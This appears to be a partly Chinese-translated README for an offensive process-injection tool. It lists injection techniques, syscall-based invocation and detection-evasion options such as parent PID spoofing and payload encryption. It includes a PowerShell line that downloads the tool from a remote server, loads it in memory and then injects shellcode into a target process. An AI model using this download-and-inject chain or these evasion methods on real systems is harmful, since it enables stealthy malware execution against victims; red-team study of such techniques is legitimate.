此程序旨在展示各种流程注入技术
该程序的设计目的是进行过程注入。 目前,该工具支持 5 种进程注入技术。
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection该工具接受 4 种格式的 shellcode。
1) base64
2) hex
3) c
4) raw该工具支持 4 种执行进程注入的方法。
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls支持 3 种检测规避技术。
1) Parent PID Spoofing
Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)可以通过反射加载。
# Load from the disk
# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http:///ProcessInjection.exe"))
# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:", "/sc:"))…[Renos](https://twitter.com/r3n_ha
https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html
暂无开放 Issues，或尚未同步最近议题。